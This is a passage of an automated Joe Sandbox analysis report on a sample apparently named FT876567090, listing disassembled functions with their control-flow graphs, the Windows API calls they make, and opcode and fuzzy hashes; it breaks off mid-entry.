                                                                                                                                                              control_flow_graph 1191 5b09578-5b095a7 1192 5b095a9 1191->1192 1193 5b095ae-5b09647 1191->1193 1192->1193 1196 5b096e6-5b096ec 1193->1196 1197 5b096f2-5b0970a 1196->1197 1198 5b0964c-5b0965f 1196->1198 1199 5b0970c-5b09719 1197->1199 1200 5b0971e-5b09731 1197->1200 1201 5b09661 1198->1201 1202 5b09666-5b096b7 1198->1202 1203 5b09ab4-5b09bb1 1199->1203 1204 5b09733 1200->1204 1205 5b09738-5b09754 1200->1205 1201->1202 1218 5b096b9-5b096c7 1202->1218 1219 5b096ca-5b096dc 1202->1219 1210 5b09bb3-5b09bb8 1203->1210 1211 5b09bb9-5b09bc3 1203->1211 1204->1205 1208 5b09756 1205->1208 1209 5b0975b-5b0977f 1205->1209 1208->1209 1215 5b09781 1209->1215 1216 5b09786-5b097b8 1209->1216 1210->1211 1215->1216 1224 5b097ba 1216->1224 1225 5b097bf-5b09801 1216->1225 1218->1197 1221 5b096e3 1219->1221 1222 5b096de 1219->1222 1221->1196 1222->1221 1224->1225 1227 5b09803 1225->1227 1228 5b09808-5b09811 1225->1228 1227->1228 1229 5b09a39-5b09a3f 1228->1229 1230 5b09a45-5b09a58 1229->1230 1231 5b09816-5b0983b 1229->1231 1234 5b09a5a 1230->1234 1235 5b09a5f-5b09a7a 1230->1235 1232 5b09842-5b09879 1231->1232 1233 5b0983d 1231->1233 1243 5b09880-5b098b2 1232->1243 1244 5b0987b 1232->1244 1233->1232 1234->1235 1236 5b09a81-5b09a95 1235->1236 1237 5b09a7c 1235->1237 1241 5b09a97 1236->1241 1242 5b09a9c-5b09ab2 LdrInitializeThunk 1236->1242 1237->1236 1241->1242 1242->1203 1246 5b098b4-5b098d9 1243->1246 1247 5b09916-5b09929 1243->1247 1244->1243 1248 5b098e0-5b0990e 1246->1248 1249 5b098db 1246->1249 1250 5b09930-5b09955 1247->1250 1251 5b0992b 1247->1251 1248->1247 1249->1248 1254 5b09964-5b0999c 1250->1254 1255 5b09957-5b09958 1250->1255 1251->1250 1256 5b099a3-5b09a04 call 5b09358 1254->1256 1257 5b0999e 1254->1257 1255->1230 1263 5b09a06 1256->1263 1264 5b09a0b-5b09a2f 1256->1264 1257->1256 1263->1264 1267 5b09a31 1264->1267 1268 5b09a36 1264->1268 1267->1268 1268->1229
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3401521229.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_5b00000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 79b7727fd6d6cecae4b3dc7cb0ae834eca431b273f88ed24e07edd7b41a5a046
                                                                                                                                                              • Instruction ID: efc0018620f56e5ccc69e43756580cf64d7c418f6f39067d982805482ce4d6bb
                                                                                                                                                              • Opcode Fuzzy Hash: 79b7727fd6d6cecae4b3dc7cb0ae834eca431b273f88ed24e07edd7b41a5a046
                                                                                                                                                              • Instruction Fuzzy Hash: B0F1D774D01218DFDB24DFA9C884B9DBBB2FF88300F1481A9D848AB395DB74A985CF50
                                                                                                                                                              Function 02D5A598 Relevance: .9, Instructions: 897COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: a4ab30380ed01e8e41e25956138cd7603c1b4f23d00a0da2f6a76f48e90ffbde
                                                                                                                                                              • Instruction ID: 0bc83bd9825976f6da9c7fa4c6de406915bf7cbbe5822cdeff01da6b5fe791e7
                                                                                                                                                              • Opcode Fuzzy Hash: a4ab30380ed01e8e41e25956138cd7603c1b4f23d00a0da2f6a76f48e90ffbde
                                                                                                                                                              • Instruction Fuzzy Hash: AC824B71A0022ADFCF15CF68C584AAEBBF2BF88304F158655E8459B3A5D770ED51CB90
                                                                                                                                                              Function 02D56EA8 Relevance: .5, Instructions: 524COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 418a527b4c768480f61038739ae8782e11130b12e5a907ef432c09b6c05ade36
                                                                                                                                                              • Instruction ID: 328eef10e2f11c19f2fd63d53f80054e8003a71740a7ba9b71ccc20221a5a7df
                                                                                                                                                              • Opcode Fuzzy Hash: 418a527b4c768480f61038739ae8782e11130b12e5a907ef432c09b6c05ade36
                                                                                                                                                              • Instruction Fuzzy Hash: 04128C70A002198FEB15DF69C854BAEBBF6FF88300F248569E945DB391EB749C41CB90
                                                                                                                                                              Function 02D574E0 Relevance: .4, Instructions: 443COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: f28f01790c603450e84c00cc8557cf297a177fedc083a3c3bfb85be4d3656a73
                                                                                                                                                              • Instruction ID: 8458ca333181bd4163966b2756f4c9d34ee49e19321c551234728993f5274277
                                                                                                                                                              • Opcode Fuzzy Hash: f28f01790c603450e84c00cc8557cf297a177fedc083a3c3bfb85be4d3656a73
                                                                                                                                                              • Instruction Fuzzy Hash: 37022930A002299FEF15CF69D884AAEFBF2BF88304F258469E855AB365D774DD41CB50
                                                                                                                                                              Function 02D5C4E0 Relevance: .4, Instructions: 352COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 8dbaad61fbe37ef6da37d4372adaedd4b1fb7eafa0e8274e171bd5069ae99e9e
                                                                                                                                                              • Instruction ID: 92bda8072ede0267c3f8347714689a7db618dc13f95be427b03e4955bef28c56
                                                                                                                                                              • Opcode Fuzzy Hash: 8dbaad61fbe37ef6da37d4372adaedd4b1fb7eafa0e8274e171bd5069ae99e9e
                                                                                                                                                              • Instruction Fuzzy Hash: 8FE1F875E10268CFDB14CFA9C894A9DBBF2BF49310F15806AE859AB361DB70AD41CF50
                                                                                                                                                              Function 02D5586F Relevance: .2, Instructions: 196COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: af13a6a60bd4b5b11a9d1ddbca7c44026aadc54e5ad023f7e7a483dd73f0f679
                                                                                                                                                              • Instruction ID: 6acdd5573902d2583bb465bf7d939843b7eaf31b757bf7553699aaab9e6e4365
                                                                                                                                                              • Opcode Fuzzy Hash: af13a6a60bd4b5b11a9d1ddbca7c44026aadc54e5ad023f7e7a483dd73f0f679
                                                                                                                                                              • Instruction Fuzzy Hash: EC91D474E04218CFEB15DFA9D884A9DBBF2BF89300F2480A9E849AB365DB745D45CF10
                                                                                                                                                              Function 02D5D20A Relevance: .2, Instructions: 189COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 25ef3923d33ace8d94c46e13146d6fd2495bf6d7d4313da9b925db0a5b280673
                                                                                                                                                              • Instruction ID: efe9651392921179a03b32febdb863e2e45cc1192c6e0612dd7e74e6e9c0bdc3
                                                                                                                                                              • Opcode Fuzzy Hash: 25ef3923d33ace8d94c46e13146d6fd2495bf6d7d4313da9b925db0a5b280673
                                                                                                                                                              • Instruction Fuzzy Hash: 9A81B274E00218CFEB18DFAAD984A9DBBF2BF89300F14C069D859AB365DB749945CF10
                                                                                                                                                              Function 02D5D7B8 Relevance: .2, Instructions: 188COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5ecee78803e57b19a8d3a9e2b917d615f7a6b7650e85404883220d303560ab1b
                                                                                                                                                              • Instruction ID: 2c91cbb9b4fa771f3375071a30645333b4e691a869558ba6e5bc7a428c9e48e4
                                                                                                                                                              • Opcode Fuzzy Hash: 5ecee78803e57b19a8d3a9e2b917d615f7a6b7650e85404883220d303560ab1b
                                                                                                                                                              • Instruction Fuzzy Hash: 1881A274E00218CFEB14DFAAD994A9DBBF2BF89300F148069E849AB365DB749941CF50
                                                                                                                                                              Function 02D5D4E0 Relevance: .2, Instructions: 188COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 371b5ff6de784665cbdb1408d76df8a582ed3777b9701cd1d4fddf7091f46327
                                                                                                                                                              • Instruction ID: 9577ffdbe590df9f45cb9b76101cadae4cad3a6da6665bd340f09fbb61dc617c
                                                                                                                                                              • Opcode Fuzzy Hash: 371b5ff6de784665cbdb1408d76df8a582ed3777b9701cd1d4fddf7091f46327
                                                                                                                                                              • Instruction Fuzzy Hash: 0081A074E00258CFEB14DFAAD994A9DBBF2FF89300F148069D849AB365DB749946CF10
                                                                                                                                                              Function 02D5C980 Relevance: .2, Instructions: 188COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 10a4ca4c1c60770fc7870b35ee118ff8203b309598bb47e3c6ea7468a9a7b8e4
                                                                                                                                                              • Instruction ID: e0d6c5108869a82f9aaa08cdabc1b2c8da9deab8d63f15e3bf68d80ba1c05175
                                                                                                                                                              • Opcode Fuzzy Hash: 10a4ca4c1c60770fc7870b35ee118ff8203b309598bb47e3c6ea7468a9a7b8e4
                                                                                                                                                              • Instruction Fuzzy Hash: 7D81A274E10218CFDB14DFA9D984A9DBBF2BF89304F14806AE849AB365DB745D41CF50
                                                                                                                                                              Function 02D5CC58 Relevance: .2, Instructions: 188COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 628da9a5bc3396383cb66c500a1606c48d92623f5fdf1dbcfdc3acc7265bdc84
                                                                                                                                                              • Instruction ID: 93606a5ae9b6f6fc1bb377d78a29ae60e5fe5426e192175c4dfdeef9d7ba64ed
                                                                                                                                                              • Opcode Fuzzy Hash: 628da9a5bc3396383cb66c500a1606c48d92623f5fdf1dbcfdc3acc7265bdc84
                                                                                                                                                              • Instruction Fuzzy Hash: B681B274E10218CFEB14DFAAD984A9DBBF2BF89300F14C06AD859AB365DB749941CF50
                                                                                                                                                              Function 02D5CF30 Relevance: .2, Instructions: 187COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 3b245340f0b181d3effe80fd3db6084eb352989dab6403fddfa326026ee8d20d
                                                                                                                                                              • Instruction ID: 6be6199ec7d0bd5ffaac91df24f51ff6245eeb4c27ea17f304fd8054d43b5e51
                                                                                                                                                              • Opcode Fuzzy Hash: 3b245340f0b181d3effe80fd3db6084eb352989dab6403fddfa326026ee8d20d
                                                                                                                                                              • Instruction Fuzzy Hash: 8681A174E00218CFEB14DFAAD984A9DBBF2BF89300F248069D859AB365DB749D45CF10
                                                                                                                                                              Function 02D5C6A8 Relevance: .2, Instructions: 154COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 3ebeee544f1dfca5d05a24395097bac0b1bb95e5414e6b37be8cf98a0aec6960
                                                                                                                                                              • Instruction ID: 1603948bf525692e1faf5bfdaab3e14687829fd61be9e8ed62edc708ee50fcc4
                                                                                                                                                              • Opcode Fuzzy Hash: 3ebeee544f1dfca5d05a24395097bac0b1bb95e5414e6b37be8cf98a0aec6960
                                                                                                                                                              • Instruction Fuzzy Hash: DA61C474E00658CFDB14DFAAD984A9DBBF2BF89300F24C06AD859AB365DB745941CF10
                                                                                                                                                              Function 02D5EED2 Relevance: .2, Instructions: 150COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 473e6666b3147910754c90cae18913b645cd4ad29a472a29dffbf4974362fa01
                                                                                                                                                              • Instruction ID: 146ad1180215d73e1d110e510610c17dd4715397881a39303a7bfdb904f396e7
                                                                                                                                                              • Opcode Fuzzy Hash: 473e6666b3147910754c90cae18913b645cd4ad29a472a29dffbf4974362fa01
                                                                                                                                                              • Instruction Fuzzy Hash: E551B774E00218DFEB19DFAAD894A9DFBB2FF89300F249029E815AB365DB715841CF50
                                                                                                                                                              Function 02D5EEE0 Relevance: .1, Instructions: 149COMMON
                                                                                                                                                              Download Yara Rule
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3390138355.0000000002D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D50000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_2d50000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID:
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID:
                                                                                                                                                              • Opcode ID: 5bc1bd87b6b059bef9ec798c30a8a499354ca5549b6b1da84e2f5567795beb12
                                                                                                                                                              • Instruction ID: f174a747ce80168ff0b5dfebae7b39ddf055499f0ee18b1820bb46a8710f900b
                                                                                                                                                              • Opcode Fuzzy Hash: 5bc1bd87b6b059bef9ec798c30a8a499354ca5549b6b1da84e2f5567795beb12
                                                                                                                                                              • Instruction Fuzzy Hash: 0D51A574E00218DFEB18DFAAD994A9DBBB2FF89300F249029E815AB365DB715D41CF50
                                                                                                                                                              Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 186 40af66-40af6e 187 40af7d-40af88 call 40b84d 186->187 190 40af70-40af7b call 40d2e3 187->190 191 40af8a-40af8b 187->191 190->187 194 40af8c-40af98 190->194 195 40afb3-40afca call 40af49 call 40cd39 194->195 196 40af9a-40afb2 call 40aefc call 40d2bd 194->196 196->195
                                                                                                                                                              APIs
                                                                                                                                                              • _malloc.LIBCMT ref: 0040AF80
                                                                                                                                                                • Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
                                                                                                                                                                • Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
                                                                                                                                                                • Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4
                                                                                                                                                              • std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3
                                                                                                                                                                • Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08
                                                                                                                                                              • std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
                                                                                                                                                              • __CxxThrowException@8.LIBCMT ref: 0040AFC5
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3386681067.0000000000401000.00000040.00000400.00020000.00000000.sdmp, Offset: 00401000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_401000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 1411284514-0
                                                                                                                                                              • Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                                                                                                                                              • Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
                                                                                                                                                              • Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
                                                                                                                                                              • Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E
                                                                                                                                                              Function 06D84708 Relevance: 1.7, APIs: 1, Instructions: 201COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1269 6d84708-6d84717 1270 6d84719-6d84726 call 6d83680 1269->1270 1271 6d84743-6d84747 1269->1271 1278 6d84728 1270->1278 1279 6d8473c 1270->1279 1272 6d84749-6d84753 1271->1272 1273 6d8475b-6d8479c 1271->1273 1272->1273 1280 6d847a9-6d847b7 1273->1280 1281 6d8479e-6d847a6 1273->1281 1324 6d8472e call 6d849a0 1278->1324 1325 6d8472e call 6d84991 1278->1325 1279->1271 1282 6d847b9-6d847be 1280->1282 1283 6d847db-6d847dd 1280->1283 1281->1280 1287 6d847c9 1282->1287 1288 6d847c0-6d847c7 call 6d8368c 1282->1288 1286 6d847e0-6d847e7 1283->1286 1284 6d84734-6d84736 1284->1279 1285 6d84878-6d84938 1284->1285 1319 6d8493a-6d8493d 1285->1319 1320 6d84940-6d8496b GetModuleHandleW 1285->1320 1289 6d847e9-6d847f1 1286->1289 1290 6d847f4-6d847fb 1286->1290 1291 6d847cb-6d847d9 1287->1291 1288->1291 1289->1290 1293 6d84808-6d84811 1290->1293 1294 6d847fd-6d84805 1290->1294 1291->1286 1299 6d8481e-6d84823 1293->1299 1300 6d84813-6d8481b 1293->1300 1294->1293 1302 6d84841-6d84845 1299->1302 1303 6d84825-6d8482c 1299->1303 1300->1299 1326 6d84848 call 6d84c50 1302->1326 1327 6d84848 call 6d84c60 1302->1327 1303->1302 1304 6d8482e-6d8483e call 6d815dc call 6d8369c 1303->1304 1304->1302 1305 6d8484b-6d8484e 1308 6d84850-6d8486e 1305->1308 1309 6d84871-6d84877 1305->1309 1308->1309 1319->1320 1321 6d8496d-6d84973 1320->1321 1322 6d84974-6d84988 1320->1322 1321->1322 1324->1284 1325->1284 1326->1305 1327->1305
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3405096570.0000000006D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D80000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_6d80000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: HandleModule
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 4139908857-0
                                                                                                                                                              • Opcode ID: 81b5a362e3032ff59f93109968b0778605c847d865eef9abb09a69338c2a3b33
                                                                                                                                                              • Instruction ID: 5540f7d19cb749379453b7a0650e42d78c89f713e6dc0180d91172789a2cb699
                                                                                                                                                              • Opcode Fuzzy Hash: 81b5a362e3032ff59f93109968b0778605c847d865eef9abb09a69338c2a3b33
                                                                                                                                                              • Instruction Fuzzy Hash: 22714670A00B069FD7A4EF6AD45879ABBF1FF88204F008A2DD49AD7B40D774E845CB91
                                                                                                                                                              Function 06D86CE4 Relevance: 1.6, APIs: 1, Instructions: 123COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1328 6d86ce4-6d86d56 1330 6d86d58-6d86d5e 1328->1330 1331 6d86d61-6d86d68 1328->1331 1330->1331 1332 6d86d6a-6d86d70 1331->1332 1333 6d86d73-6d86dab 1331->1333 1332->1333 1334 6d86db3-6d86e12 CreateWindowExW 1333->1334 1335 6d86e1b-6d86e53 1334->1335 1336 6d86e14-6d86e1a 1334->1336 1340 6d86e60 1335->1340 1341 6d86e55-6d86e58 1335->1341 1336->1335 1342 6d86e61 1340->1342 1341->1340 1342->1342
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D86E02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3405096570.0000000006D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D80000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_6d80000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 0641110458a5da8a5e2341cf5c712c724015260e02ad169a0f4c39fde247f526
                                                                                                                                                              • Instruction ID: 0e639cf5f077013564e0be6abea0bd9eac0b814c41f77418858d3adb288a939c
                                                                                                                                                              • Opcode Fuzzy Hash: 0641110458a5da8a5e2341cf5c712c724015260e02ad169a0f4c39fde247f526
                                                                                                                                                              • Instruction Fuzzy Hash: 5951E2B1D00349EFDB15DFA9C894ADEBBB5FF88310F24812AE818AB250D7709845CF91
                                                                                                                                                              Function 06D85ABC Relevance: 1.6, APIs: 1, Instructions: 116COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1343 6d85abc-6d86d56 1345 6d86d58-6d86d5e 1343->1345 1346 6d86d61-6d86d68 1343->1346 1345->1346 1347 6d86d6a-6d86d70 1346->1347 1348 6d86d73-6d86e12 CreateWindowExW 1346->1348 1347->1348 1350 6d86e1b-6d86e53 1348->1350 1351 6d86e14-6d86e1a 1348->1351 1355 6d86e60 1350->1355 1356 6d86e55-6d86e58 1350->1356 1351->1350 1357 6d86e61 1355->1357 1356->1355 1357->1357
                                                                                                                                                              APIs
                                                                                                                                                              • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06D86E02
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3405096570.0000000006D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D80000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_6d80000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CreateWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 716092398-0
                                                                                                                                                              • Opcode ID: 4d62e0d34779834610627d80d2129aa409994c543958bbf1a1b1d213ccdad6e9
                                                                                                                                                              • Instruction ID: 577229f78ae9ab59040a7da4e3ad6b5d2dca8dd3d728f0df7ca67a3a66ee0218
                                                                                                                                                              • Opcode Fuzzy Hash: 4d62e0d34779834610627d80d2129aa409994c543958bbf1a1b1d213ccdad6e9
                                                                                                                                                              • Instruction Fuzzy Hash: 1F51CFB1D00349DFDB55DFA9C994ADEBBB5FF88310F24812AE819AB210D7749845CF90
                                                                                                                                                              Function 06D85C0C Relevance: 1.6, APIs: 1, Instructions: 97COMMON
                                                                                                                                                              Download Yara Rule

                                                                                                                                                              Control-flow Graph

                                                                                                                                                              • Executed
                                                                                                                                                              • Not Executed
                                                                                                                                                              control_flow_graph 1358 6d85c0c-6d892ec 1361 6d8939c-6d893bc call 6d85ae4 1358->1361 1362 6d892f2-6d892f7 1358->1362 1373 6d893bf-6d893cc 1361->1373 1363 6d892f9-6d89330 1362->1363 1364 6d8934a-6d89382 CallWindowProcW 1362->1364 1370 6d89339-6d89348 1363->1370 1371 6d89332-6d89338 1363->1371 1367 6d8938b-6d8939a 1364->1367 1368 6d89384-6d8938a 1364->1368 1367->1373 1368->1367 1370->1373 1371->1370
                                                                                                                                                              APIs
                                                                                                                                                              • CallWindowProcW.USER32(?,?,?,?,?), ref: 06D89371
                                                                                                                                                              Memory Dump Source
                                                                                                                                                              • Source File: 0000000A.00000002.3405096570.0000000006D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D80000, based on PE: false
                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                              • Snapshot File: hcaresult_10_2_6d80000_FT876567090.jbxd
                                                                                                                                                              Similarity
                                                                                                                                                              • API ID: CallProcWindow
                                                                                                                                                              • String ID:
                                                                                                                                                              • API String ID: 2714655100-0
                                                                                                                                                              • Opcode ID: db501032f376ca68b9bbba0a8fbd8785b54819398c2e952f293f6c05190598a5
                                                                                                                                                              • Instruction ID: 6359d11466c419eba877b5d1aa6863aa4b6adc3d205b1d20f8cf897ff55f27d0
